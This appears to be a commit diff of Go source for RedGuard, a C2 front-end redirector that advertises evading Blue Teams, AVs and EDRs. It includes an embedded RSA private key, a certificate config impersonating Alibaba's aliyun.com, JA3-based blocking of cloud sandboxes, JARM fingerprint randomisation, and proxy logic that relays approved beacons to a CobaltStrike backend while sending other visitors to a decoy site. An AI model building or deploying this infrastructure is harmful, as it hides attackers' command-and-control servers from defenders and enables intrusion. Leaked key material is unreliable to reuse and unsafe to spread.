MIIEFDCCAvygAwIBAgIIFwGR46UNXCwwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE MIIEFDCCAvygAwIBAgIIFwGR46UNXCwwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE
BhMCQ04xETAPBgNVBAcTCEhhbmdaaG91MS0wKwYDVQQKEyRBbGliYWJhIChDaGlu BhMCQ04xETAPBgNVBAcTCEhhbmdaaG91MS0wKwYDVQQKEyRBbGliYWJhIChDaGlu
YSkgVGVjaG5vbG9neSBDby4sIEx0ZC4xFTATBgNVBAMMDCouYWxpeXVuLmNvbTAe YSkgVGVjaG5vbG9neSBDby4sIEx0ZC4xFTATBgNVBAMMDCouYWxpeXVuLmNvbTAe
Fw0yMjA3MTQwMjQyMjRaFw0yMzA3MTQwMjQyMjRaMGYxCzAJBgNVBAYTAkNOMREw Fw0yMjA3MTQwMjQyMjRaFw0yMzA3MTQwMjQyMjRaMGYxCzAJBgNVBAYTAkNOMREw
DwYDVQQHEwhIYW5nWmhvdTEtMCsGA1UEChMkQWxpYmFiYSAoQ2hpbmEpIFRlY2hu DwYDVQQHEwhIYW5nWmhvdTEtMCsGA1UEChMkQWxpYmFiYSAoQ2hpbmEpIFRlY2hu
b2xvZ3kgQ28uLCBMdGQuMRUwEwYDVQQDDAwqLmFsaXl1bi5jb20wggEiMA0GCSqG b2xvZ3kgQ28uLCBMdGQuMRUwEwYDVQQDDAwqLmFsaXl1bi5jb20wggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCakMhuxLECM6FM6J2tQisFnBdwgTDCNzA0 SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCakMhuxLECM6FM6J2tQisFnBdwgTDCNzA0
WJQ6sOe0rIiMkQ5mhiSrDwUJ3ZFDtxeSxcWRmfcz4SiNMYwS1vGuIBLwNV2qRELk WJQ6sOe0rIiMkQ5mhiSrDwUJ3ZFDtxeSxcWRmfcz4SiNMYwS1vGuIBLwNV2qRELk
aFzM29xjMo0isbPvBM70kl29RUP1FT5SUI9ZjwKaVLIc7j0Ugei0+p0QvGtFvgfI aFzM29xjMo0isbPvBM70kl29RUP1FT5SUI9ZjwKaVLIc7j0Ugei0+p0QvGtFvgfI
pFpWbav3UqFwUtTcJwCiDTZZM4+94TVqEvFh5f/CM60rFijFZ/Kf16cVtOW0fKcX pFpWbav3UqFwUtTcJwCiDTZZM4+94TVqEvFh5f/CM60rFijFZ/Kf16cVtOW0fKcX
oAGA9hEPAYXbSBqBSWAykDBJ3RnbZvL6MD9hsSRgduiiC9t2q/xGRU5X+rKchliW oAGA9hEPAYXbSBqBSWAykDBJ3RnbZvL6MD9hsSRgduiiC9t2q/xGRU5X+rKchliW
bjLy+xHoq1asOZK0NxigLIc/6U54IV7nfL/tT40w1GFP/WhgY+0fAgMBAAGjgcUw bjLy+xHoq1asOZK0NxigLIc/6U54IV7nfL/tT40w1GFP/WhgY+0fAgMBAAGjgcUw
gcIwDgYDVR0PAQH/BAQDAgKkMBMGA1UdJQQMMAoGCCsGAQUFBwMBMIGaBgNVHREE gcIwDgYDVR0PAQH/BAQDAgKkMBMGA1UdJQQMMAoGCCsGAQUFBwMBMIGaBgNVHREE
gZIwgY+CDCouYWxpeXVuLmNvbYIabWFuYWdlci5jaGFubmVsLmFsaXl1bi5jb22C gZIwgY+CDCouYWxpeXVuLmNvbYIabWFuYWdlci5jaGFubmVsLmFsaXl1bi5jb22C
GyouYWNzLWludGVybmFsLmFsaXl1bmNzLmNvbYIUKi5jb25uZWN0LmFsaXl1bi5j GyouYWNzLWludGVybmFsLmFsaXl1bmNzLmNvbYIUKi5jb25uZWN0LmFsaXl1bi5j
b22CCmFsaXl1bi5jb22CEHdob2lzLnd3dy5uZXQuY26CEnRpYW5jaGktZ2xvYmFs b22CCmFsaXl1bi5jb22CEHdob2lzLnd3dy5uZXQuY26CEnRpYW5jaGktZ2xvYmFs
LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAHPsbex1ZR9p/5p/EdJrvlM3IhMIXUo2D LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAHPsbex1ZR9p/5p/EdJrvlM3IhMIXUo2D
tm/NWbEB4IVBa+mX0YGs60DiH8R+4VFWKvVhIzcf2/iZuiDKO8jeeZ3mSyDqdPD+ tm/NWbEB4IVBa+mX0YGs60DiH8R+4VFWKvVhIzcf2/iZuiDKO8jeeZ3mSyDqdPD+
T40gcNQhvPAH6YMPg8LzYAXVAZcxYCw0PmHr/Sl7EJH8LlR84Nz26HjPqNdLmIZA T40gcNQhvPAH6YMPg8LzYAXVAZcxYCw0PmHr/Sl7EJH8LlR84Nz26HjPqNdLmIZA
ui0jz4zSGtrcqFZzA2+DKiHsnKeQ4685FBUHJP51gyimYiPpQQW3uKPE1uC+8Aq/ ui0jz4zSGtrcqFZzA2+DKiHsnKeQ4685FBUHJP51gyimYiPpQQW3uKPE1uC+8Aq/
omArVJf9wnBLUWa1vZ4B12G4NVQXHcLvg13tOR0YHnRBJ5OR8ibYBy5VChbqktc4 omArVJf9wnBLUWa1vZ4B12G4NVQXHcLvg13tOR0YHnRBJ5OR8ibYBy5VChbqktc4
9hgOKhm4RO/6XIg6Dey/mBefannq2DgTj2lv9NNXiFppj81ugWhOmQ== 9hgOKhm4RO/6XIg6Dey/mBefannq2DgTj2lv9NNXiFppj81ugWhOmQ==
-----END CERTIFICATE----- -----END CERTIFICATE-----
+27 -27
View File
@@ -1,27 +1,27 @@
-----BEGIN RSA PRIVATE KEY----- -----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAmpDIbsSxAjOhTOidrUIrBZwXcIEwwjcwNFiUOrDntKyIjJEO MIIEowIBAAKCAQEAmpDIbsSxAjOhTOidrUIrBZwXcIEwwjcwNFiUOrDntKyIjJEO
ZoYkqw8FCd2RQ7cXksXFkZn3M+EojTGMEtbxriAS8DVdqkRC5GhczNvcYzKNIrGz ZoYkqw8FCd2RQ7cXksXFkZn3M+EojTGMEtbxriAS8DVdqkRC5GhczNvcYzKNIrGz
7wTO9JJdvUVD9RU+UlCPWY8CmlSyHO49FIHotPqdELxrRb4HyKRaVm2r91KhcFLU 7wTO9JJdvUVD9RU+UlCPWY8CmlSyHO49FIHotPqdELxrRb4HyKRaVm2r91KhcFLU
3CcAog02WTOPveE1ahLxYeX/wjOtKxYoxWfyn9enFbTltHynF6ABgPYRDwGF20ga 3CcAog02WTOPveE1ahLxYeX/wjOtKxYoxWfyn9enFbTltHynF6ABgPYRDwGF20ga
gUlgMpAwSd0Z22by+jA/YbEkYHboogvbdqv8RkVOV/qynIZYlm4y8vsR6KtWrDmS gUlgMpAwSd0Z22by+jA/YbEkYHboogvbdqv8RkVOV/qynIZYlm4y8vsR6KtWrDmS
tDcYoCyHP+lOeCFe53y/7U+NMNRhT/1oYGPtHwIDAQABAoIBABoQLewXuK1hXWKl tDcYoCyHP+lOeCFe53y/7U+NMNRhT/1oYGPtHwIDAQABAoIBABoQLewXuK1hXWKl
muj7TlvczUsITduCCNvaz+vxprCdo0zorN/24LoDh1r5hKRBfHUgakc6CigyYG8m muj7TlvczUsITduCCNvaz+vxprCdo0zorN/24LoDh1r5hKRBfHUgakc6CigyYG8m
mrMWkZxGBkuBBDFQ32K6gmN883W6sXfXNTspuWgeQjZHNsVd9qtUsEduyQaTH5Gn mrMWkZxGBkuBBDFQ32K6gmN883W6sXfXNTspuWgeQjZHNsVd9qtUsEduyQaTH5Gn
Tp9lpILX+6I103ToLVHU/PKz/ZpvjnRdfL1pFvTAzGYRAddI+3Wp4phfzcqqXtpl Tp9lpILX+6I103ToLVHU/PKz/ZpvjnRdfL1pFvTAzGYRAddI+3Wp4phfzcqqXtpl
WcZ4Uux+/GzFtSH9eXaevCC4p+jcrQY1mt3BPdcz5JU43uQ+diTfTwGvL+4dCUxO WcZ4Uux+/GzFtSH9eXaevCC4p+jcrQY1mt3BPdcz5JU43uQ+diTfTwGvL+4dCUxO
sboAjMkw2xMXNG2SQRMTPlhLfcKh8NK3pYyVRfzOXk6bnLeBsRaLV6uXoR5njk+M sboAjMkw2xMXNG2SQRMTPlhLfcKh8NK3pYyVRfzOXk6bnLeBsRaLV6uXoR5njk+M
Kr0zzDECgYEAy9/5XwI4LiY1XcXJrJmvilqtHUH1cGG1x8Ob+gpGiJ8Ryk+6i7pi Kr0zzDECgYEAy9/5XwI4LiY1XcXJrJmvilqtHUH1cGG1x8Ob+gpGiJ8Ryk+6i7pi
8KP+scDUOGFfFwRycNwIoGP0J1WB4pRkTDqE8FQyh4TeOsK57NGp8wLt6COOnmps 8KP+scDUOGFfFwRycNwIoGP0J1WB4pRkTDqE8FQyh4TeOsK57NGp8wLt6COOnmps
/8QRH+YqPG5n0yI3aQNOqkPuKoFYCiGF79VuhCuOGLaplXlmyQl/TTcCgYEAwhVp /8QRH+YqPG5n0yI3aQNOqkPuKoFYCiGF79VuhCuOGLaplXlmyQl/TTcCgYEAwhVp
lLuo5phLvRTr6pgGVPCOhirdTktuRUp4NaNuGveUDww2TjdKBmqLcwVPEtuI3G/f lLuo5phLvRTr6pgGVPCOhirdTktuRUp4NaNuGveUDww2TjdKBmqLcwVPEtuI3G/f
k2AUKlWH0Q3N8340hG7hloSVQRHfoALy0Iljc4dFO0HrzOvSoaVYkhODqz6M6gfJ k2AUKlWH0Q3N8340hG7hloSVQRHfoALy0Iljc4dFO0HrzOvSoaVYkhODqz6M6gfJ
B+8Qiku93JI7G4qalg1jr3ItBK46KVTCQl5RE1kCgYBYEiYww82vKfRN0P6BIFbz B+8Qiku93JI7G4qalg1jr3ItBK46KVTCQl5RE1kCgYBYEiYww82vKfRN0P6BIFbz
pp44EGFNrfgQFtFPn5a+uDDAO9bzO444NC/3a7yBqpagY9xoIrVbTDKRt1+HmOEH pp44EGFNrfgQFtFPn5a+uDDAO9bzO444NC/3a7yBqpagY9xoIrVbTDKRt1+HmOEH
CRSamVTGtEAoFCyrQBtxjidl685VYtY5WuKm7A/80Rjq3VIgfDxEU1oUZJG6tqac CRSamVTGtEAoFCyrQBtxjidl685VYtY5WuKm7A/80Rjq3VIgfDxEU1oUZJG6tqac
Z4/5arNUu7vghXRAjmi+2wKBgGUb/psLgJxRLvPcWGMou/O4NqfS4OQPC+1xNFrN Z4/5arNUu7vghXRAjmi+2wKBgGUb/psLgJxRLvPcWGMou/O4NqfS4OQPC+1xNFrN
P2kxHaMRO6FX0GqzSt6rH1y1ngEpDxKZ9Sdw04anaGm3j+iGU2O0woTZqOSVZKYb P2kxHaMRO6FX0GqzSt6rH1y1ngEpDxKZ9Sdw04anaGm3j+iGU2O0woTZqOSVZKYb
TQI8sGaEmzFwkZTArPm8zNWDiqnJUIOfmcBSYSDt1XktpgcSBqK6GpXbplUt4N3u TQI8sGaEmzFwkZTArPm8zNWDiqnJUIOfmcBSYSDt1XktpgcSBqK6GpXbplUt4N3u
gNJRAoGBAIo2SQXHObtfphpMVoDZm3A2DubekPuY5aHx0x5U24IDcF/19AJ3SvOh gNJRAoGBAIo2SQXHObtfphpMVoDZm3A2DubekPuY5aHx0x5U24IDcF/19AJ3SvOh
U7NHpHgGDal5WhLN9dIRBxujP/BL1TAKPpf6P5x4o1Jva0tUWcLvTzAM6NgFMY+0 U7NHpHgGDal5WhLN9dIRBxujP/BL1TAKPpf6P5x4o1Jva0tUWcLvTzAM6NgFMY+0
p4z+rF2IIkG383nWDpSL3r+0mpUEaPY5iCO8fyUQQtIr6gt+o8PW p4z+rF2IIkG383nWDpSL3r+0mpUEaPY5iCO8fyUQQtIr6gt+o8PW
-----END RSA PRIVATE KEY----- -----END RSA PRIVATE KEY-----
+37 -37
View File
@@ -1,37 +1,37 @@
package config package config
var RedGuardConfig = `[cert] var RedGuardConfig = `[cert]
# User Optional name # User Optional name
DNSName = *.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com,*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com DNSName = *.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com,*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com
# Cert User CommonName # Cert User CommonName
CommonName = *.aliyun.com CommonName = *.aliyun.com
# Cert User Locality # Cert User Locality
Locality = HangZhou Locality = HangZhou
# Cert User Organization # Cert User Organization
Organization = Alibaba (China) Technology Co., Ltd. Organization = Alibaba (China) Technology Co., Ltd.
# Cert User Country # Cert User Country
Country = CN Country = CN
# Whether to use the certificate you have applied for true/false # Whether to use the certificate you have applied for true/false
HasCert = true HasCert = true
[proxy] [proxy]
# key : Header Host value of the reverse proxy # key : Header Host value of the reverse proxy
# value : The actual address forwarded by the reverse proxy # value : The actual address forwarded by the reverse proxy
HostTarget = {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"} HostTarget = {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
# HTTPS Reverse proxy port # HTTPS Reverse proxy port
Port_HTTPS = :443 Port_HTTPS = :443
# HTTP Reverse proxy port # HTTP Reverse proxy port
Port_HTTP = :80 Port_HTTP = :80
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response) # RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy drop_action = proxy
# URL to redirect to # URL to redirect to
Redirect = https://360.net Redirect = https://360.net
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing # IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
AllowLocation = * AllowLocation = *
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1 # Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = * AllowIP = *
# Limit the time of requests example: AllowTime = 8:00 - 16:00 # Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = * AllowTime = *
# C2 Malleable File Path # C2 Malleable File Path
MalleableFile = * MalleableFile = *
` `
+31 -31
View File
@@ -1,31 +1,31 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: version.go * @File: version.go
* @Time: 2022/5/5 9:25 * @Time: 2022/5/5 9:25
**/ **/
package config package config
const ( const (
BANNER = ` BANNER = `
██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ ██████╗
██╔══██╗██╔════╝██╔══██╗ ██╔════╝ ██║ ██║██╔══██╗██╔══██╗██╔══██╗ ██╔══██╗██╔════╝██╔══██╗ ██╔════╝ ██║ ██║██╔══██╗██╔══██╗██╔══██╗
██████╔╝█████╗ ██║ ██║ ██║ ███╗██║ ██║███████║██████╔╝██║ ██║ ██████╔╝█████╗ ██║ ██║ ██║ ███╗██║ ██║███████║██████╔╝██║ ██║
██╔══██╗██╔══╝ ██║ ██║ ██║ ██║██║ ██║██╔══██║██╔══██╗██║ ██║ ██╔══██╗██╔══╝ ██║ ██║ ██║ ██║██║ ██║██╔══██║██╔══██╗██║ ██║
██║ ██║███████╗██████╔╝ ╚██████╔╝╚██████╔╝██║ ██║██║ ██║██████╔╝ -V %s ██║ ██║███████╗██████╔╝ ╚██████╔╝╚██████╔╝██║ ██║██║ ██║██████╔╝ -V %s
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
Github:%s Github:%s
RedGuard is a C2 front flow control tool,Can avoid Blue Teams,AVs,EDRs check. RedGuard is a C2 front flow control tool,Can avoid Blue Teams,AVs,EDRs check.
` `
VERSION = "22.7.21 Alpha" VERSION = "22.7.21 Alpha"
TITLE = "RedGuard" TITLE = "RedGuard"
LICENSE = "GPL-2.0" LICENSE = "GPL-2.0"
URL = "https://github.com/wikiZ/RedGuard" URL = "https://github.com/wikiZ/RedGuard"
AUTHOR = "风起" AUTHOR = "风起"
TEAM = "0/00" TEAM = "0/00"
COPYRIGHT = "Copyright (C) 2022 风起. All Rights Reserved" COPYRIGHT = "Copyright (C) 2022 风起. All Rights Reserved"
) )
+8
View File
@@ -119,6 +119,7 @@ func ProxyFilterManger(req *http.Request) (status bool) {
allowIP = lib.ReadConfig("proxy", "AllowIP", cfg) // Obtain the online IP address whitelist allowIP = lib.ReadConfig("proxy", "AllowIP", cfg) // Obtain the online IP address whitelist
allowTime = lib.ReadConfig("proxy", "AllowTime", cfg) // Gets the allowed online time in the configuration file allowTime = lib.ReadConfig("proxy", "AllowTime", cfg) // Gets the allowed online time in the configuration file
malleableFile = lib.ReadConfig("proxy", "MalleableFile", cfg) // Obtain the profile path malleableFile = lib.ReadConfig("proxy", "MalleableFile", cfg) // Obtain the profile path
banJA3 = data.BANJA3
banIP = data.BANIP banIP = data.BANIP
) )
// Check whether ban ip is matched // Check whether ban ip is matched
@@ -132,6 +133,13 @@ func ProxyFilterManger(req *http.Request) (status bool) {
} }
} }
} }
// Check whether the REQUESTED IP JA3 fingerprint is a cloud sandbox fingerprint
for _, banja3 := range strings.Split(banJA3, "\n") {
if banja3 == lib.EncodeMD5(req.JA3) {
logger.Errorf("[DROP] %s Requested HOST JA3 FingerPrint is forbidden to access", ip)
return false
}
}
// Check the location of the requested IP address // Check the location of the requested IP address
if allowLocation != "" && allowLocation != "*" { if allowLocation != "" && allowLocation != "*" {
// @param allowLocation string The territory that is allowed to go online // @param allowLocation string The territory that is allowed to go online
+194 -194
View File
@@ -1,194 +1,194 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: ProxyHandler.go * @File: ProxyHandler.go
* @Time: 2022/5/5 16:53 * @Time: 2022/5/5 16:53
**/ **/
package core package core
import ( import (
"io" "io"
"math/rand" "math/rand"
"net/url" "net/url"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"time" "time"
"RedGuard/lib" "RedGuard/lib"
"github.com/sleeyax/ja3rp/crypto/tls" "github.com/sleeyax/ja3rp/crypto/tls"
"github.com/sleeyax/ja3rp/net/http" "github.com/sleeyax/ja3rp/net/http"
"github.com/sleeyax/ja3rp/net/http/httputil" "github.com/sleeyax/ja3rp/net/http/httputil"
"github.com/wxnacy/wgo/arrays" "github.com/wxnacy/wgo/arrays"
) )
var ( var (
ip string // HTTP remote IP ip string // HTTP remote IP
redirectURL string // Proxy redirect URL redirectURL string // Proxy redirect URL
_addressArray []string // By request list _addressArray []string // By request list
_startUp sync.Mutex // mutex lock _startUp sync.Mutex // mutex lock
_hostProxy = make(map[string]*httputil.ReverseProxy) // Used to cache httputil.ReverseProxy _hostProxy = make(map[string]*httputil.ReverseProxy) // Used to cache httputil.ReverseProxy
) )
type baseHandle struct{} type baseHandle struct{}
func NewProxy(proxyURL string, dropType bool) (*httputil.ReverseProxy, error) { func NewProxy(proxyURL string, dropType bool) (*httputil.ReverseProxy, error) {
destinationURL, err := url.Parse(proxyURL) destinationURL, err := url.Parse(proxyURL)
if err != nil { if err != nil {
return nil, err return nil, err
} }
proxy := httputil.NewSingleHostReverseProxy(destinationURL) proxy := httputil.NewSingleHostReverseProxy(destinationURL)
// dropType Check whether the response to the request is changed // dropType Check whether the response to the request is changed
proxy.ModifyResponse = modifyResponse(dropType) // Modifies the response to the request proxy.ModifyResponse = modifyResponse(dropType) // Modifies the response to the request
return proxy, nil return proxy, nil
} }
func modifyResponse(drop bool) func(*http.Response) error { func modifyResponse(drop bool) func(*http.Response) error {
return func(resp *http.Response) error { return func(resp *http.Response) error {
defer func(Body io.ReadCloser) { defer func(Body io.ReadCloser) {
logger.Warningf("[RESPONSE] HTTP %s, length: %d", resp.Status, resp.ContentLength) logger.Warningf("[RESPONSE] HTTP %s, length: %d", resp.Status, resp.ContentLength)
if drop { if drop {
// DROP Request // DROP Request
logger.Alertf("[DROP] Source IP: %s", resp.Request.RemoteAddr) logger.Alertf("[DROP] Source IP: %s", resp.Request.RemoteAddr)
_ = Body.Close() // Direct shutdown response _ = Body.Close() // Direct shutdown response
return return
} }
}(resp.Body) }(resp.Body)
return nil return nil
} }
} }
// ProxyRequestHandler A reverse proxy processes HTTP requests // ProxyRequestHandler A reverse proxy processes HTTP requests
func (h *baseHandle) ServeHTTP(write http.ResponseWriter, req *http.Request) { func (h *baseHandle) ServeHTTP(write http.ResponseWriter, req *http.Request) {
var ( var (
host = &req.Host host = &req.Host
cfg = lib.InitConfig() // config file object cfg = lib.InitConfig() // config file object
// Obtain the domain name and target map // Obtain the domain name and target map
hostTarget = lib.JsonToMap(lib.ReadConfig( hostTarget = lib.JsonToMap(lib.ReadConfig(
"proxy", "proxy",
"HostTarget", "HostTarget",
cfg), cfg),
) )
// Read the configuration file to check whether DROP is enabled // Read the configuration file to check whether DROP is enabled
dropAction = lib.ReadConfig("proxy", "drop_action", cfg) dropAction = lib.ReadConfig("proxy", "drop_action", cfg)
// IP address of the host that initiates the request // IP address of the host that initiates the request
) )
var isDrop bool var isDrop bool
var proxy *httputil.ReverseProxy var proxy *httputil.ReverseProxy
// Determine the URL to be redirected to // Determine the URL to be redirected to
redirectURL = lib.ReadConfig("proxy", "Redirect", cfg) redirectURL = lib.ReadConfig("proxy", "Redirect", cfg)
req.RemoteAddr = lib.ConvertIP(req.RemoteAddr) req.RemoteAddr = lib.ConvertIP(req.RemoteAddr)
// Obtaining the real IP address // Obtaining the real IP address
if req.Header.Get("X-Forwarded-For") != "" { if req.Header.Get("X-Forwarded-For") != "" {
req.RemoteAddr = req.Header.Get("X-Forwarded-For") req.RemoteAddr = req.Header.Get("X-Forwarded-For")
} }
// Set the forwarding header XFF so that C2 obtains the online real IP address // Set the forwarding header XFF so that C2 obtains the online real IP address
req.Header.Set("X-Forwarded-For", req.RemoteAddr) req.Header.Set("X-Forwarded-For", req.RemoteAddr)
// Check whether the host is verified // Check whether the host is verified
if IPHash := lib.EncodeMD5(req.JA3); arrays.ContainsString(_addressArray, req.JA3) == -1 { if IPHash := lib.EncodeMD5(req.JA3); arrays.ContainsString(_addressArray, req.JA3) == -1 {
logger.Noticef("JA3 FingerPrint: %s", IPHash) logger.Noticef("JA3 FingerPrint: %s", IPHash)
logger.Noticef("[REQUEST] %s %s", req.Method, req.RequestURI) logger.Noticef("[REQUEST] %s %s", req.Method, req.RequestURI)
// Request filtering method // Request filtering method
if !ProxyFilterManger(req) { if !ProxyFilterManger(req) {
goto LOOK // Redirect to the specified site goto LOOK // Redirect to the specified site
} }
logger.Noticef("[REQUEST] %s - %s", req.RemoteAddr, req.UserAgent()) logger.Noticef("[REQUEST] %s - %s", req.RemoteAddr, req.UserAgent())
_addressArray = append(_addressArray, IPHash) // Add to the list after verification for the first time _addressArray = append(_addressArray, IPHash) // Add to the list after verification for the first time
} }
// Fetch directly from cache // Fetch directly from cache
if fn, ok := _hostProxy[*host]; ok { if fn, ok := _hostProxy[*host]; ok {
fn.ServeHTTP(write, req) fn.ServeHTTP(write, req)
return return
} }
// Check whether the domain name is in the whitelist // Check whether the domain name is in the whitelist
if target, ok := hostTarget[*host]; ok { if target, ok := hostTarget[*host]; ok {
proxy, err := NewProxy(target, false) proxy, err := NewProxy(target, false)
if err != nil { if err != nil {
logger.Error("Proxy Exception") logger.Error("Proxy Exception")
} }
_hostProxy[*host] = proxy // Into the cache _hostProxy[*host] = proxy // Into the cache
proxy.ServeHTTP(write, req) proxy.ServeHTTP(write, req)
return return
} }
LOOK: LOOK:
req.URL.Path = "/" // Url rewriting req.URL.Path = "/" // Url rewriting
// condition is not met, the element is removed from the slice // condition is not met, the element is removed from the slice
// Output The URL of each request for this IP address // Output The URL of each request for this IP address
if len(_addressArray) > 0 { if len(_addressArray) > 0 {
_addressArray = _addressArray[:len(_addressArray)-1] _addressArray = _addressArray[:len(_addressArray)-1]
} }
// dropAction Select the reverse proxy interception mode // dropAction Select the reverse proxy interception mode
switch dropAction { switch dropAction {
// redirect // redirect
case "redirect": case "redirect":
http.Redirect(write, req, redirectURL, http.StatusTemporaryRedirect) http.Redirect(write, req, redirectURL, http.StatusTemporaryRedirect)
goto REDIRECT goto REDIRECT
// reset Turning off the HTTP response // reset Turning off the HTTP response
case "reset": case "reset":
isDrop = true isDrop = true
// proxy Hijacking target requests response information // proxy Hijacking target requests response information
case "proxy": case "proxy":
break break
} }
// Determine whether to redirect or intercept intercepted traffic // Determine whether to redirect or intercept intercepted traffic
proxy, _ = NewProxy(redirectURL, isDrop) proxy, _ = NewProxy(redirectURL, isDrop)
// Unauthorized access is redirected to the specified URL // Unauthorized access is redirected to the specified URL
proxy.ServeHTTP(write, req) proxy.ServeHTTP(write, req)
REDIRECT: REDIRECT:
// REDIRECT Request // REDIRECT Request
logger.Alertf("[%s] Source IP: %s -> Destination Site: %s", strings.ToUpper(dropAction), req.RemoteAddr, redirectURL) logger.Alertf("[%s] Source IP: %s -> Destination Site: %s", strings.ToUpper(dropAction), req.RemoteAddr, redirectURL)
} }
// ProxyManger Initialize the reverse proxy and pass in the address of the real back-end service // ProxyManger Initialize the reverse proxy and pass in the address of the real back-end service
// handle all requests to your server using the proxy // handle all requests to your server using the proxy
// @param action string reverse proxy listening port type // @param action string reverse proxy listening port type
// @param port string reverse proxy listening port // @param port string reverse proxy listening port
// @param pattern string pattern associated with the listening port type // @param pattern string pattern associated with the listening port type
func ProxyManger(action, port, pattern string) { func ProxyManger(action, port, pattern string) {
var ( var (
handle = &baseHandle{} handle = &baseHandle{}
config = &tls.Config{} // Example Initialize TLS config config = &tls.Config{} // Example Initialize TLS config
_isHasCert, _ = strconv.ParseBool(lib.ReadConfig("cert", "HasCert", lib.InitConfig())) _isHasCert, _ = strconv.ParseBool(lib.ReadConfig("cert", "HasCert", lib.InitConfig()))
) )
_startUp.Lock() // 我知道这可能是一个bug哈哈哈,但是它可能不影响什么,就不修了。 _startUp.Lock() // 我知道这可能是一个bug哈哈哈,但是它可能不影响什么,就不修了。
http.Handle(pattern, handle) http.Handle(pattern, handle)
// Cancels the validity verification of the destination TLS certificate // Cancels the validity verification of the destination TLS certificate
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{ http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{
InsecureSkipVerify: true, InsecureSkipVerify: true,
} }
// Disable client connection caching to connection pools // Disable client connection caching to connection pools
http.DefaultTransport.(*http.Transport).DisableKeepAlives = true http.DefaultTransport.(*http.Transport).DisableKeepAlives = true
rand.Seed(time.Now().UnixNano()) rand.Seed(time.Now().UnixNano())
if !_isHasCert { if !_isHasCert {
config = &tls.Config{ config = &tls.Config{
// JARM FingerPrint Random // JARM FingerPrint Random
CipherSuites: lib.MicsSlice([]uint16{ CipherSuites: lib.MicsSlice([]uint16{
0x0005, 0x000a, 0x002f, 0x0005, 0x000a, 0x002f,
0x0035, 0x003c, 0x009c, 0x0035, 0x003c, 0x009c,
0x009d, 0xc011, 0xc012, 0x009d, 0xc011, 0xc012,
0xc013, 0xc014, 0xc027, 0xc013, 0xc014, 0xc027,
0xc02f, 0xc030, 0xcca8, 0xc02f, 0xc030, 0xcca8,
}, rand.Intn(2)+1), }, rand.Intn(2)+1),
} }
} }
server := &http.Server{ server := &http.Server{
Addr: port, // proxy port Addr: port, // proxy port
Handler: handle, // Cache structure Handler: handle, // Cache structure
TLSConfig: config, // TLS Server Config TLSConfig: config, // TLS Server Config
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1), TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
} }
logger.Warningf("Proxy Listen Port %s (%s)", port, action) logger.Warningf("Proxy Listen Port %s (%s)", port, action)
_startUp.Unlock() _startUp.Unlock()
if action == "HTTPS" { if action == "HTTPS" {
// HTTPS reverse proxy // HTTPS reverse proxy
_ = server.ListenAndServeTLS( _ = server.ListenAndServeTLS(
"cert-rsa/ca.crt", // rsa cert crt "cert-rsa/ca.crt", // rsa cert crt
"cert-rsa/ca.key", // rsa cert key "cert-rsa/ca.key", // rsa cert key
) )
} else { } else {
_ = server.ListenAndServe() // HTTP reverse proxy _ = server.ListenAndServe() // HTTP reverse proxy
} }
} }
+38 -38
View File
@@ -1,38 +1,38 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: arguments.go * @File: arguments.go
* @Time: 2022/5/5 9:46 * @Time: 2022/5/5 9:46
**/ **/
package core package core
import ( import (
"flag" "flag"
"RedGuard/core/parameter" "RedGuard/core/parameter"
) )
func CmdParse(parse *parameter.Parses, cert *parameter.Cert, proxy *parameter.Proxy) { func CmdParse(parse *parameter.Parses, cert *parameter.Cert, proxy *parameter.Proxy) {
flag.BoolVar(&parse.Update, "u", false, `Enable configuration file modification`) flag.BoolVar(&parse.Update, "u", false, `Enable configuration file modification`)
flag.StringVar(&parse.C2Type, "type", `CobaltStrike`, `C2 Server Type`) flag.StringVar(&parse.C2Type, "type", `CobaltStrike`, `C2 Server Type`)
flag.StringVar(&parse.IP, "ip", ``, `IPLookUP IP`) flag.StringVar(&parse.IP, "ip", ``, `IPLookUP IP`)
flag.StringVar(&parse.ConfigPath, "config", ``, `Set Config Path`) flag.StringVar(&parse.ConfigPath, "config", ``, `Set Config Path`)
flag.StringVar(&parse.Location, "location", `风起`, `IPLookUP Location`) flag.StringVar(&parse.Location, "location", `风起`, `IPLookUP Location`)
flag.StringVar(&cert.Country, "country", `CN`, `Cert Country`) flag.StringVar(&cert.Country, "country", `CN`, `Cert Country`)
